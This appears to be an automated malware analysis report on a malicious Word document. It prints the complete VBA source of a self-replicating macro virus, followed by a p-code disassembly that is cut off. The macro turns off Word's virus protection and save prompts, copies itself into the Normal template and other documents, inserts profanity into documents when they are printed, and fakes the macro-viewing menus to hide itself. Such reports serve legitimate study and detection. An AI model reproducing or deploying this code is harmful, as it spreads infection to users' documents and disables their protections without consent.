Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Fuck Off
'2000ã. Áðÿíñê, ÁÃÒÓ
Private Sub Document_Close()
  On Error Resume Next
  s = ActiveDocument.Saved
  Application.EnableCancelKey = Not -1
  
  With Options
    .ConfirmConversions = 0
    .VirusProtection = 0
    .SaveNormalPrompt = 0
  End With

  Arl = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  ReDim Ar(1 To Arl) As String
  For i = 1 To Arl
    Ar(i) = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
  Next i
  
  If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "'Fuck Off" Then
     Set t = NormalTemplate.VBProject.VBComponents.Item(1)
     For i = 1 To Arl
       If (Left(Ar(i), 6) = "'Sub F") Or (Left(Ar(i), 6) = "'Sub T") Or (Left(Ar(i), 6) = "'Sub V") Then
         t.CodeModule.InsertLines i, Right(Ar(i), Len(Ar(i)) - 1)
       Else
         t.CodeModule.InsertLines i, Ar(i)
       End If
     Next i
  ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "'Fuck Off" Then
     Set t = ActiveDocument.VBProject.VBComponents.Item(1)
     For i = 1 To Arl
       If (Left(Ar(i), 5) = "Sub F") Or (Left(Ar(i), 5) = "Sub T") Or (Left(Ar(i), 5) = "Sub V") Then
         t.CodeModule.InsertLines i, "'" + Ar(i)
       Else
         t.CodeModule.InsertLines i, Ar(i)
       End If
     Next i
  Else
     t = ""
  End If
  
  If t <> "" Then
    If (Left(ActiveDocument.Name, 8) <> "Document") Or (Left(ActiveDocument.Name, 8) <> "Äîêóìåíò") Then
      ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    End If
  End If
  
  If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
Private Sub ToBlja(x, y)
    Application.EnableCancelKey = Not -1
    Set dlg1 = Dialogs(wdDialogEditReplace)
    With dlg1
       .Find = x
       .Replace = y
       .ReplaceAll = 1
       .Execute
    End With
End Sub
'Sub FilePrintDefault()
    ToBlja ", ", ", áëÿ "
    On Error GoTo ErHan
    ActiveDocument.PrintOut
    ToBlja ", áëÿ ", ", "
    Exit Sub
ErHan:
    On Error GoTo 0
    ToBlja ", áëÿ ", ", "
    Resume
End Sub
'Sub FilePrint()
    ToBlja ", ", ", áëÿ "
    On Error GoTo ErHan
    Dialogs(wdDialogFilePrint).Show
    ToBlja ", áëÿ ", ", "
    Exit Sub
ErHan:
    On Error GoTo 0
    ToBlja ", áëÿ ", ", "
    Resume
End Sub
'Sub ToolsMacro()
  MsgBox "Ìàêðîñîâ íåò íè â îäíîì îòêðûòîì äîêóìåíòå!", vbExclamation, "Îøèáêà"
End Sub
'Sub ViewVBCode()
  ToolsMacro
End Sub
'Sub ToolsOptions()
  With Options
    .ConfirmConversions = 1
    .VirusProtection = 1
    .SaveNormalPrompt = 1
  End With
  Dialogs(wdDialogToolsOptions).Show
  With Options
    .ConfirmConversions = 0
    .VirusProtection = 0
    .SaveNormalPrompt = 0
  End With
End Sub

' Processing file: /opt/analyzer/scan_staging/c601f3073ce54a1e856dee3b8b582535.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5324 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0008 "Fuck Off"
' Line #1:
' 	QuoteRem 0x0000 0x0013 "2000ã. Áðÿíñê, ÁÃÒÓ"
' Line #2:
' 	FuncDefn (Private Sub Document_Close())
' Line #3:
' 	OnError (Resume Next) 
' Line #4:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #5:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #6:
' Line #7:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #8:
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' Line #9:
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' Line #10:
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' Line #11:
' 	EndWith 
' Line #12:
' Line #13:
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St Arl 
' Line #14:
' 	LitDI2 0x0001 
... (truncated)